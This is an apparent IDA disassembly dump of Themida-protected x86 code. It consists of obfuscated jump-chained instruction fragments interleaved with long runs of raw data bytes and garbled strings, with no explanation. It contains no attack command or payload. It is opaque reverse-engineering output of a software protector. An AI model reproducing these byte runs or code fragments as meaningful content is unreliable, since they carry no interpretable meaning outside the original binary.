jmp loc_552838 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFE53Dh, 0B850D6F7h, 0FFFFFFFFh, 0D6E9C629h dd 68FFFFD2h, 43BEh, 54240C89h, 592434FFh, 0FFE527E9h dd 0FAB2B9FFh, 0CF89280Ah, 0E9240C8Bh, 0FFFFE5CBh, 4244481h dd 64D977ABh, 2434FF58h db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add ecx, 4 add ecx, 2 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_564096 ; --------------------------------------------------------------------------- loc_55BE6C: ; CODE XREF: Themida_:005570D3j pop edi push ecx mov ecx, 13757A94h dec ecx sub ecx, 24D911B5h not ecx shr ecx, 4 add ecx, 44872F1Ah add eax, ecx pop ecx sub eax, edx sub eax, 459D688Ch mov edx, [esp] push 6B7Fh mov [esp], eax push esp pop eax jmp loc_55374D ; --------------------------------------------------------------------------- loc_55BEA1: ; CODE XREF: Themida_:00555131j push 70713461h pop edi shl edi, 4 shl edi, 2 push 29DAh mov [esp], edx mov edx, 0AD04E867h sub edi, edx pop edx jmp loc_554C84 ; --------------------------------------------------------------------------- loc_55BEC2: ; CODE XREF: Themida_:0055B399j add al, 0F4h mov dx, [esp] add esp, 2 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55C35D ; --------------------------------------------------------------------------- aRAS db 'R╤A╥≥',0 db 0F7h dd 5CD9E95Ah, 0CDBFFFFFh, 31506C07h, 9CE958C7h, 2800006Ah dd 0D22C59EAh, 0D0001D04h, 0B1511D2Ch, 0CE04D2h, 59CE2CC8h dd 24148B66h, 6802C483h, 1586h, 0E9241489h, 0FFFFC980h dd 0E9F10158h, 0FFFFDE02h, 5C241433h, 8904EC83h, 0B951243Ch dd 50A868B1h, 0E959CF89h, 0FFFF9CD2h ; --------------------------------------------------------------------------- loc_55BF44: ; CODE XREF: Themida_:00555D51j mov [esp], edi push ebx mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], ebp push ebx push 745D71ECh pop ebx shr ebx, 3 xor ebx, 0A80842Dh mov ebp, ebx pop ebx add [esp+4], ebp pop ebp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], ebp push edx mov edx, 69CC2A98h push edx not dword ptr [esp] pop edx add edx, 6DD754A9h jmp loc_55806D ; --------------------------------------------------------------------------- dw 0C180h dd 21E9521Ah, 0B6000049h, 0F6C686E5h, 80C686D0h, 0C5809FF6h dd 80F528D5h, 148BD5EDh, 8632E924h, 89510000h, 0ABA4E9E1h dd 14310000h, 24143324h, 243C895Ch, 268h, 243C8B00h, 0FFA47EE9h dd 240C8BFFh, 0FFB8B6E9h, 405FFh, 0EC830000h, 242C8904h dd 317CBB53h, 88BD6FE7h, 19018CEh, 0E8295BDDh, 9D99E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C016: ; CODE XREF: Themida_:00562C51j mov [esp], eax push 1111h mov [esp], ecx push edi push ebp jmp loc_55451B ; --------------------------------------------------------------------------- loc_55C028: ; CODE XREF: Themida_:0055FFF3j pop esi xor ecx, 73BF6D64h add ecx, 0FFFFFFFFh dec ecx and ecx, 3B6A2477h sub ecx, 0C581FCC7h jmp loc_551FF3 ; --------------------------------------------------------------------------- dd 4EC8155h, 89000000h, 0CEB82404h, 0E97DFB3Fh, 0AA0Ah dd 1C3A6852h, 0C15A442Eh, 0E2C105EAh, 4A2EE905h, 0E95D0000h dd 38F6h, 3124248Bh, 76EA81C3h, 500A7965h, 56FE6852h, 0C15A5DC9h dd 0C28102EAh, 3EB5290Bh, 19E4F281h, 0D0890489h, 8124148Bh dd 4C4h, 58C22900h, 2602BE56h, 0EE8162D9h, 0FC22B11Bh dd 7D13E9h db 0 ; --------------------------------------------------------------------------- loc_55C0B1: ; CODE XREF: Themida_:0055EFBCj xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56558F ; --------------------------------------------------------------------------- loc_55C0BF: ; CODE XREF: Themida_:00565774j xor ebp, ecx jmp loc_555FB6 ; --------------------------------------------------------------------------- dw 0C89h dd 0F66AB124h, 0AEC980D9h, 0C180C1FEh, 86F18040h, 534CC180h dd 0FC88CF88h, 0CCFE595Bh, 2844EC80h, 0ADE9E7h, 50590000h dd 405E089h, 2D000000h, 4, 5C240487h, 0FFF050E9h db 0FFh byte_55C105 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055124Co dd 4EC8324h, 54240C89h, 3964E9h db 0 ; --------------------------------------------------------------------------- loc_55C115: ; CODE XREF: Themida_:00561AA4j neg ebp push ebp neg dword ptr [esp] pop ebp jmp loc_56513B ; --------------------------------------------------------------------------- loc_55C121: ; CODE XREF: Themida_:00551506j pop ebp pop dword ptr [esp] jmp loc_55FEA7 ; --------------------------------------------------------------------------- dw 83B2h dd 885AD088h, 24048BC5h, 4C481h, 0DD000000h, 0FFEB005Bh dd 0E9592434h, 76C1h, 8032C980h, 0F18034F1h, 0E9CA20AEh dd 0FFFF66C5h, 2EBC15Bh, 25E9574Bh, 68FFFF7Ah, 6BF8h, 0FF7A3CE9h dd 4EC83FFh, 0E9241C89h, 536Fh ; --------------------------------------------------------------------------- loc_55C178: ; CODE XREF: Themida_:00565954j push esi mov esi, 77315470h jmp loc_55A3D5 ; --------------------------------------------------------------------------- loc_55C183: ; CODE XREF: Themida_:00559688j xchg eax, [esp] pop esp jmp loc_55AEFF ; --------------------------------------------------------------------------- dd 5C240C87h, 31241C33h, 73E9241Ch, 6600004Bh, 8124048Bh dd 2C4h, 8700E900h, 0C2810000h, 3CB94BE9h, 0FF5336E9h dd 0CF005AFFh, 0E9240C8Bh, 93E0h, 0E987048Dh, 5B2Eh, 1C3CF381h dd 0C38150C0h, 7BDA0DDCh, 25E6F381h, 0D901B2C5h, 7EDCE95Bh dd 3489FFFFh, 242C8B24h, 4C481h, 348B0000h, 4C48124h, 8B000000h dd 0C483243Ch, 0EB015E04h, 83242C8Bh, 0B85004C4h, 2, 4BC6EB81h dd 0C3814373h, 246E4BC4h, 0EB81C329h, 246E4BC4h, 0FFB879E9h dd 24248BFFh, 8104C483h, 4C2h, 2B95100h, 81000000h, 35440EEAh dd 0C1EEE92Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C242: ; CODE XREF: Themida_:0055FDFCj push dword ptr [edi+24h] sub esp, 4 jmp loc_55234E ; --------------------------------------------------------------------------- dd 0C44BF57h, 0F7816F24h, 63761594h, 0FFADB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C261: ; CODE XREF: Themida_:00551E98j xchg eax, [esp] pop esp or edx, eax shl edx, 1 push 5E56h mov [esp], esi sub esp, 4 mov [esp], ebx mov ebx, 300B5A42h jmp loc_56018B ; --------------------------------------------------------------------------- dd 0B9240C89h, 35743A18h, 24048151h, 5CA8528Eh, 81241C8Bh dd 4C4h, 8EEB8100h, 8B5CA852h, 0E955240Ch, 0FFFFD41Ch ; --------------------------------------------------------------------------- loc_55C2AC: ; CODE XREF: Themida_:0055B982j push ebp push eax jmp loc_55A026 ; --------------------------------------------------------------------------- db 89h dd 0FDBE2434h, 6828FA47h, 2690h, 0BA241489h, 75A657F3h dd 0FF763DE9h, 0F5E953FFh, 53FFFF7Fh, 4EC81h, 34890000h dd 643ABE24h, 0F38904D8h, 0DB43E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C2EA: ; CODE XREF: Themida_:00566B53j pop ebx add ebp, ebx pop ebx push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55C7E1 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 81E28952h, 4C2h, 4C28100h, 87000000h, 575C2414h, 0FB89F789h dd 0C8E95E5Fh db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C323: ; CODE XREF: Themida_:00562B91j mov ecx, [esp] add esp, 4 push edx jmp loc_564B77 ; --------------------------------------------------------------------------- loc_55C32F: ; CODE XREF: Themida_:00553905j mov [esp], ecx mov ecx, 42C8256Bh mov esi, 0BD37DA94h jmp loc_55F239 ; --------------------------------------------------------------------------- db 81h, 0C1h, 81h dd 8B0B3865h, 0C4812414h, 4, 76F468h, 241C8900h, 0FFE31DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C35D: ; CODE XREF: Themida_:0055BEDCj mov esp, [esp] mov [esp], ebx mov bh, 2Fh push eax jmp loc_55B3EF ; --------------------------------------------------------------------------- db 81h dd 0C20568C6h, 50C68136h, 9C62133h, 0FF505EF0h, 35582404h dd 7ADBFE04h, 34FFC301h, 0C4815824h, 4, 8702C383h, 248B241Ch dd 0FC33024h, 34FFC0B6h, 2434FF87h, 0E924048Bh, 1D3h ; --------------------------------------------------------------------------- loc_55C3AC: ; CODE XREF: Themida_:00553869j sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5581DF ; --------------------------------------------------------------------------- loc_55C3BD: ; CODE XREF: Themida_:00562FE7j pop ebp jmp loc_55AB55 ; --------------------------------------------------------------------------- db 1 dd 4EC81C1h, 89000000h, 0B3BF243Ch, 8152BB6Fh, 0CF67D5E9h dd 81F9296Bh, 0CF67D5C1h, 57585F6Bh, 2BFh, 8BF90100h, 0AE9243Ch dd 0E9000025h, 0FFFF50F3h, 13C2E95Dh, 1C310000h, 241C3324h dd 0F624248Bh, 0F14FE9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C40E: ; CODE XREF: Themida_:00562F23j add esi, edx jmp loc_5606DA ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch dd 2C48124h, 66000000h, 6624048Fh, 6619B768h, 0E9241C89h dd 0FFFFCBC4h, 0A7F7E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C436: ; CODE XREF: Themida_:0056087Aj xor edi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5514EB ; --------------------------------------------------------------------------- loc_55C448: ; CODE XREF: Themida_:0056312Bj sub ecx, 2CCAC16Ah push ecx pop ebp pop ecx push edx jmp loc_55A2CE ; --------------------------------------------------------------------------- loc_55C457: ; CODE XREF: Themida_:005629A0j mov edx, esp add edx, 4 add edx, 4 jmp loc_55E002 ; --------------------------------------------------------------------------- dw 0E831h db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi jmp loc_556BFE ; --------------------------------------------------------------------------- dd 6DD7BB53h, 0F7E956FFh db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C483: ; CODE XREF: Themida_:00558BE4j xor ecx, 73237517h shr ecx, 8 and ecx, 16364C9h push ebp push eax push 4C623E6h pop eax shl eax, 6 not eax shr eax, 2 sub eax, 8F0AF9BEh jmp loc_557599 ; --------------------------------------------------------------------------- dd 0E6388FBBh, 8EEB8167h, 8167E638h, 701CDAEFh, 81DF2926h dd 701CDAC7h, 0DFF75B26h, 690B850h, 0F2E90FBEh, 5A000069h dd 815D5455h, 4C5h, 4C58300h, 5C242C87h, 0E9FFC480h, 9396h dd 34FF5450h, 0C4835824h, 7C896804h, 1C890000h, 46824h dd 0E95B0000h, 518h, 0E9240C33h, 0FFFF6401h, 0EC81E389h dd 4, 0BA241489h, 6A9D78C6h, 5841EA81h, 0F2817813h, 0F28A2081h dd 148BD301h, 0E0895024h, 405h, 4C08300h, 0FFC3B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C541: ; CODE XREF: Themida_:00563534j mov ebx, [esp] add esp, 4 add ebx, 6EC60C19h pop ebp add ebx, edx push eax mov eax, 0 add eax, ebx mov ecx, [eax] mov eax, [esp] jmp loc_5650B6 ; --------------------------------------------------------------------------- dw 0BA52h dd 20CD5E43h, 0FFF291E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C56D: ; CODE XREF: Themida_:0055BC69j push 6BE1h mov [esp], ecx mov ecx, 6EA16751h jmp loc_56327A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0FF62E900h, 11BEFFFFh, 0C1382034h, 0D6F707EEh dd 81D6F74Eh, 3832BBC6h, 32F68117h, 31426F22h, 0C262E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C5AA: ; CODE XREF: Themida_:005518CBj add esi, edi jmp loc_5649F4 ; --------------------------------------------------------------------------- loc_55C5B1: ; CODE XREF: Themida_:005525F3j mov edx, esp push esi mov esi, 4 add edx, esi jmp loc_558CE1 ; --------------------------------------------------------------------------- dd 4C481h, 0E9560000h, 15CFh, 0C581E589h, 4, 4BA52h, 0ED810000h dd 305504AEh, 0C581D501h, 305504AEh, 242C875Ah, 4EF9E95Ch dd 0E957FFFFh, 2E26h, 601A68h, 243C8900h, 9B2E9h db 0 ; --------------------------------------------------------------------------- loc_55C605: ; CODE XREF: Themida_:0055A4E2j dec edx not edx jmp loc_556C41 ; --------------------------------------------------------------------------- db 5Fh, 51h, 0FFh dd 8B042474h, 0C483240Ch, 0BF5AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C61E: ; CODE XREF: Themida_:00558DADj add ebx, 0F30E100Eh jmp loc_55922E ; --------------------------------------------------------------------------- aNsI db '╜Ищ┴',0 ; DATA XREF: Themida_:00551480o dw 0C000h dd 0D9F608E1h, 806DE980h, 0CF88CBE9h, 34F06859h, 14890000h dd 26B05024h, 0F658C288h, 0AF0AE9D2h, 1C8BFFFFh, 9B46E924h dd 0C3810000h, 9AB44FC1h, 0E95BDA09h, 8E6Ch, 6084E95Eh dd 3C8BFFFFh, 4C48124h, 68000000h, 774Ch, 0FF241C89h, 8B042474h dd 0C483241Ch, 24048F04h, 6470E9h db 0 ; --------------------------------------------------------------------------- loc_55C691: ; CODE XREF: Themida_:005568BEj add dh, 86h jmp loc_55A50F ; --------------------------------------------------------------------------- aSD_1 db 'SЁD╤в(ч[',0 dw 5BFEh dd 80B0E680h, 0B66800F6h, 89000035h, 32B42404h, 48BE630h dd 970BE924h, 75B5FFFFh, 2CE9EA88h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C6C7: ; CODE XREF: Themida_:00555EB6j pop ecx pop dword ptr [esp] pop ebp jmp loc_565CA1 ; --------------------------------------------------------------------------- aBiLtHny db '│К:LT*hny',0 align 4 dd 0E9240489h, 21DDh, 0CFFEF986h, 0E180F986h, 2AB753ABh dd 285BF930h, 0EF46E9CBh, 0C581FFFFh, 8D63AC5Eh, 875DE901h dd 248B240Ch, 0BB39E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C70E: ; CODE XREF: Themida_:00554A32j xor edi, [esp] jmp loc_565B36 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 0E9530000h, 0FFFFBCAFh, 721E6205h, 7B0A0514h dd 2C8B6C24h, 4D7A6824h, 4890000h, 20E95424h, 50FFFFDDh dd 4B8h, 0E9C30100h, 0A58h, 0B60FC330h, 8734FFC0h, 0FFAAC8E9h dd 55E95EFFh, 8B000023h, 0E9552404h, 0FFFFF21Bh, 555EF001h dd 2BDh, 1A620500h, 0E80140A7h, 0A71A622Dh, 242C8B40h dd 0E904C483h, 0FFFF96A0h ; --------------------------------------------------------------------------- loc_55C78C: ; CODE XREF: Themida_:00562D31j sub ebp, edi pop edi jmp loc_560C25 ; --------------------------------------------------------------------------- loc_55C794: ; CODE XREF: Themida_:0055E779j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5642F4 ; --------------------------------------------------------------------------- dw 0EC83h dd 618CE904h, 0EB81FFFFh, 18514DB2h, 6824048Bh, 2F06h dd 54241489h, 8A75E95Ah, 0C890000h, 689CB124h, 7B4Fh, 50240C89h dd 0E0D005B0h, 0D0F62224h, 0FFC408E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C7E1: ; CODE XREF: Themida_:0055C2FCj pop esp xor ebx, eax push dword ptr [eax] jmp loc_5514EB ; --------------------------------------------------------------------------- db 81h dd 9B06B9CDh, 30ED8154h, 454EE24Ah, 9D30ED81h, 0EF091A16h dd 5E7C15Dh, 7751E94Fh, 0EB83FFFFh, 5575E901h, 5550FFFFh dd 1654E9h, 0F1E95800h, 81FFFFAEh, 7B58E4C6h, 5EF1013Ch dd 1BF8E981h, 0E9816F7Ah, 6E66DD65h, 5D59C829h, 8904EC83h dd 4BF243Ch, 29000000h, 33E95FF8h, 6800005Fh, 584Fh, 0FFB06CE9h dd 2434FFFFh, 9625E9h, 81CE0100h, 0C64917EEh, 0E6E95918h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C86B: ; CODE XREF: Themida_:00554D72j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub esp, 4 jmp loc_562EAF ; --------------------------------------------------------------------------- dword_55C87C dd 28B6664h, 428368h, 242C8900h, 5652E589h, 0FF5F6DE9h ; DATA XREF: Themida_:00551264o dd 4D5CBEFFh, 76E91EA4h, 8300006Ah, 148904ECh, 0C9B4E924h dd 405FFFFh, 0E9000000h, 0F6Bh, 0BF57h, 0C7810000h, 693D50AAh dd 0EF81D729h, 693D50AAh, 0FFA550E9h, 61CA80FFh, 8001EA80h dd 5E9D2F2h, 87FFFF69h, 515C2404h, 8904EC83h, 0B8BB241Ch dd 531F6E6Fh, 0FFF154E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C8ED: ; CODE XREF: Themida_:005605ECj add edx, 4 xchg edx, [esp] pop esp push edx mov edx, esp add edx, 4 jmp loc_562A9B ; --------------------------------------------------------------------------- loc_55C905: ; CODE XREF: Themida_:005521B7j push 4587h mov [esp], esi push edi mov edi, esp jmp loc_5577B2 ; --------------------------------------------------------------------------- loc_55C915: ; CODE XREF: Themida_:00551C7Ej sub edi, 1 jmp loc_5526AF ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 5C241C87h, 8104C483h, 4C2h, 24143300h, 6346E9h db 0 ; --------------------------------------------------------------------------- loc_55C935: ; CODE XREF: Themida_:00563471j add edx, esi pop esi sub ebp, 1FE23766h sub ebp, edx add ebp, 1FE23766h pop edx jmp loc_5576AC ; --------------------------------------------------------------------------- dd 0D75F181h, 0CD894D0Bh, 0CBB85059h, 355BFE0Dh, 5EB53F71h dd 62DE0D1h, 0E9F7D4EEh, 19ABh, 8904EC83h, 8851241Ch, 59CB88C1h dd 8B5BDA88h, 0C4832404h, 0D2E95004h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C987: ; CODE XREF: Themida_:0055939Dj xor eax, edx jmp loc_56146A ; --------------------------------------------------------------------------- dw 0F129h dd 0B8505B5Eh, 36B27E07h, 48BC131h, 4B07E924h db 2 dup(0) word_55C9A2 dw 248Bh ; DATA XREF: Themida_:00551464o dd 4B41E924h, 1489FFFFh, 88DB224h, 52665AD5h, 0E9534BB2h dd 0FFFF924Ah, 258BEE81h, 0EE813EB0h, 64B35714h, 0E92434FFh dd 0FFFFD192h dword_55C9D0 dd 240C8B66h, 4B9968h, 242C8900h, 239268h, 4EC8300h, 24048F54h ; DATA XREF: Themida_:0055136Co dd 4BF57h, 7C010000h, 0E95F0424h, 3F0Ch, 8B243487h, 1E92424h dd 81000069h, 3C01E7EEh, 5A56E952h, 4BFFFFFh, 81000000h dd 4D21A0EAh, 0E9FA2951h, 0FFFF5BD8h, 0E95BD801h, 0FFFFE7DEh dd 2C481h, 52660000h, 12BD68h, 0E9CDE900h, 0CD89FFFFh dd 243C8B59h, 8B04C483h, 0EC812434h, 4, 89241C89h, 0FCEDE9E3h dd 8ABDFFFFh, 0E92CA366h, 4219h, 0BF243C89h, 215F61BEh dd 93E7E9h, 0C4835900h, 7DFF2D04h, 0E9503DFBh, 0FFFF6957h dword_55CA7C dd 0E92434FFh, 308Fh ; DATA XREF: Themida_:00551418o dword_55CA84 dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF4A57h, 5BD88859h ; DATA XREF: Themida_:0055130Co dd 6858C228h, 3813h, 0A243E9h, 8BEA0100h, 0C483242Ch, 24148704h dd 0FFF5BBE9h, 81D387FFh, 0FFBB3CF3h, 8BD9012Bh, 0C481241Ch dd 4, 0E959CE01h, 64B9h, 31241C33h, 0CEE9241Ch db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CADB: ; CODE XREF: Themida_:0055761Dj pop ebx jmp loc_558EC8 ; --------------------------------------------------------------------------- db 5Eh, 50h, 0B8h dd 49207303h, 48BC231h, 4C48124h, 1000000h, 2434FFD6h dd 5D54555Ah, 4C581h, 0C5810000h, 4, 2474FF55h, 48F5D04h dd 24248B24h, 57A68h, 605E900h, 0E9570000h, 0FFFFE966h dd 6A3BED81h, 0C5810238h, 58EF79B8h, 0DFC5814Dh, 1AE7806h dd 148B5DE9h, 6ABEE924h, 0C4830000h, 4EC8104h, 89000000h dd 83552434h, 1C8904ECh, 0C4CFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB5A: ; CODE XREF: Themida_:00554739j jmp loc_5514EB ; --------------------------------------------------------------------------- loc_55CB5F: ; CODE XREF: Themida_:00557B89j mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push edx mov edx, 4 add esi, edx pop edx jmp loc_56597C ; --------------------------------------------------------------------------- dw 1C89h dd offset loc_40B324 dd 992AE9D8h, 6855FFFFh, 6BBEh, 0E9240C89h, 8EECh, 2434FF5Ah dd 69F1E9h, 0E9C33000h, 21D2h ; --------------------------------------------------------------------------- loc_55CBAC: ; CODE XREF: Themida_:0055FA68j neg edi push 4F48h mov [esp], edi not dword ptr [esp] pop edi shr edi, 3 push edx jmp loc_565CC2 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 2DD8F75Eh, 88228A5Bh, 2E58C181h, 2EE92606h dd 5E000055h, 4A770A2Dh, 0E9F80135h, 75D7h, 81242C8Bh dd 4C4h, 0E9C23100h, 0FFFF8D4Bh, 360816BAh, 1F28104h, 55FC428h dd 155C1222h, 7E8CBF57h, 0F3E955EAh, 0FEFFFFE2h, 0C0F680CEh dd 6FE9F328h, 5C000056h, 3A71E9h, 0C7E95B00h, 100008Bh dd 0BF575AD5h, 4, 0E95FFD29h, 0FFFF63F3h, 0E9240C8Bh, 0FFFFA762h dd 8B243487h, 0A30F2424h, 0E99C2404h, 0FFFFC67Bh ; --------------------------------------------------------------------------- loc_55CC58: ; CODE XREF: Themida_:0055A820j xor edx, 4C6F1B86h add esi, edx pop edx add esi, eax sub esi, 68067C6Dh pop eax mov edx, esi mov esi, [esp] jmp loc_5588E4 ; --------------------------------------------------------------------------- dd 33240C31h, 78E9240Ch, 89FFFFC2h, 4C181E1h, 50000000h dd 0FF7F4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC8D: ; CODE XREF: Themida_:00565C11j shl ebp, 7 push eax jmp loc_55F2FA ; --------------------------------------------------------------------------- dw 0C281h dd 473F2B52h, 6346E281h, 0C2814A61h, 0B162CEE3h, 315AD129h dd 2434FFC8h, 0FFCD56E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CCB5: ; CODE XREF: Themida_:00556AB4j pop esp jmp loc_55909D ; --------------------------------------------------------------------------- loc_55CCBB: ; CODE XREF: Themida_:00566C3Aj xchg ebx, [esp] pop esp push edx mov dl, ah push eax mov al, dl mov ch, al jmp loc_560F8F ; --------------------------------------------------------------------------- dd 0BE56E289h, 39E40C80h, 4602EEC1h, 0FCE3BD55h, 0EE01F186h dd 5D2434FFh, 5704C483h, 99183DBFh, 8E7C140h, 1021EF81h dd 0FA017330h, 83243C8Bh, 0F20104C4h, 33FFBE56h, 0DEF7102Fh dd 0FFA21FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CD0D: ; CODE XREF: Themida_:0055DD9Fj sub ecx, 54DF18D1h add esi, ecx mov ecx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_55F029 ; --------------------------------------------------------------------------- loc_55CD33: ; CODE XREF: Themida_:0056339Dj pop esp pop dword ptr [esp] pop esp mov [esp], edx jmp loc_55984E ; --------------------------------------------------------------------------- dd 4246C81h, 4C1F465Bh, 4247C01h, 465BB850h, 44014C1Fh dd 8B580824h, 0C481243Ch, 4, 0E924048Fh, 0FFFFA826h ; --------------------------------------------------------------------------- loc_55CD68: ; CODE XREF: Themida_:00558662j sub eax, 732D7AD3h jmp loc_55F05F ; --------------------------------------------------------------------------- loc_55CD72: ; CODE XREF: Themida_:00556722j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor eax, ecx xor ecx, eax xor eax, ecx push 114h mov [esp], edx push 195Bh mov [esp], esi mov esi, 132C6D64h push ecx mov ecx, 132C6D63h jmp loc_564AB3 ; --------------------------------------------------------------------------- db 0F7h dd 0FBCF81D7h, 81124B4Bh, 0BDF25EFh, 8BF921CEh, 4BE9243Ch db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CDBF: ; CODE XREF: Themida_:005661CCj xor eax, [esp] jmp loc_565665 ; --------------------------------------------------------------------------- db 0C0h dd 0DBF602EBh, 0ADF380h, 1C8B66D8h, 3943E924h, 0C5810000h dd 751932A8h, 0DC3DBB53h, 0DD31BCBBh, 0E9E8295Bh, 0FFFF6CEBh dword_55CDF0 dd 2EC81ACh, 0E9000000h, 16ADh, 0C1EE80h, 24148BF0h, 117EE955h ; DATA XREF: Themida_:0055125Co db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE0A: ; CODE XREF: Themida_:00555231j pop esi push ecx jmp loc_5602F8 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 3024248Bh, 0E99C2404h, 0FFFF46CBh ; --------------------------------------------------------------------------- loc_55CE20: ; CODE XREF: Themida_:00564AA1j dec eax jmp loc_5633FC ; --------------------------------------------------------------------------- dw 0E588h dd 0E959EE88h, 0FFFFCBFCh, 4C281h, 14870000h, 0D44CE924h dd 0EF81FFFFh, 0F7F0E495h, 73FDE9h, 242C8900h, 0C5815D54h dd 4, 0FF5AA0E9h, 0BB535FFFh, 795B02BEh, 7E67EB81h, 0C3815275h dd 223386h, 5B9CE9h, 0D5F76600h, 66DDF766h, 7F8DED81h dd 0FF96D8E9h, 906866FFh, 1C896626h, 0E9CEB724h, 76FAh dd 741EBA52h, 0F28105E7h, 129F72F3h, 515AD089h, 5E91E9h db 0 byte_55CEA5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055135Co dd 4EC8124h, 0E9000000h, 5D1Dh, 79226D68h, 0F181595Ah dd 75C31407h, 68E1E949h, 2BBB0000h, 1730A2Dh, 5B04245Ch dd 0FF73BBE9h, 5EF231FFh, 2C4DBB53h, 0DA2938FBh, 0E9D3895Bh dd 372Fh ; --------------------------------------------------------------------------- loc_55CEE8: ; CODE XREF: Themida_:00566D8Dj push ebx mov ebx, 0DB3C6BCAh sub edi, ebx mov ebx, [esp] jmp loc_5643CB ; --------------------------------------------------------------------------- dd 51E78957h, 0A673EAB9h, 0C1814172h, 8D598C19h, 9BE1E9h dd 4C48300h, 34FFF801h, 6C9FE924h, 0C7810000h, 2, 8B243C87h dd 8B662424h, 68512404h, 8E8h, 4EC81h, 8F540000h, 4812404h dd 424h, 24048F00h, 5C97E9h db 0 byte_55CF49 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005512ECo dd 0E6895624h, 4C681h, 41E90000h, 0FEFFFFD2h, 1C180C1h dd 0FFF77FE9h, 243487FFh, 2404895Ch, 6C8AEC88h, 64880524h dd 2EE90524h, 8BFFFFE6h, 8950241Ch, 405E0h, 0C0830000h dd 24048704h, 56EC805Ch, 7CCAE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF96: ; CODE XREF: Themida_:0055B0BDj pop edx push ebp jmp loc_55EE10 ; --------------------------------------------------------------------------- db 9, 0C6h, 0E9h dd 5C5h, 24048F5Ch, 2434FF5Ch, 18B6859h, 5AE90000h, 5E000061h dd 7E1DE9h db 0 byte_55CFBD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00551398o dd 0F8F6824h, 0C7E90000h, 81FFFFE8h, 2ECh, 4896600h, 34816624h dd 0E955E124h, 1558h ; --------------------------------------------------------------------------- loc_55CFE0: ; CODE XREF: Themida_:0055DEFAj push esi mov esi, 23207002h jmp loc_55A66A ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 0E9525C24h, 0FFFF84A0h, 4EC81h, 0FE90000h dd 0F700005Ch, 7F47E9D7h, 0C0BFFFFFh, 0E9541B7Ah, 5CA8h dd 335AD001h, 4312404h, 24043324h, 0E924248Bh, 0FFFF8650h dd 50E9E189h, 81FFFFD5h, 9E3CB4EBh, 0B5EB8148h, 8B6EE41Eh dd 0B7E9243Ch, 8B000096h, 0C0092424h, 6502840Fh, 9C680000h dd 89000003h, 0E9512434h, 0FFFFC3D9h, 408E0C0h, 0EBEE8021h dd 87BEE9h, 2FE95800h, 5FFFFF5Bh, 5B2434FFh, 2904C483h dd 4EC81D8h, 89000000h, 8BB9240Ch, 5780E1Eh, 136B52CEh dd 0CE2DC801h, 0E9136B52h, 9B65h, 97747D2Dh, 571EE908h dd 0F5810000h, 7A88705Fh, 0C3DCD81h, 0F5812558h, 1AE23AA6h dd 815DE989h, 0B161E0F1h, 59CE3138h, 538DC681h, 0C68129BAh dd 9C7E99CFh, 68F78957h, 3496h, 89243489h, 317C68FEh, 0FFE90000h dd 81FFFFF0h, 4EBh, 241C8700h, 48F545Ch, 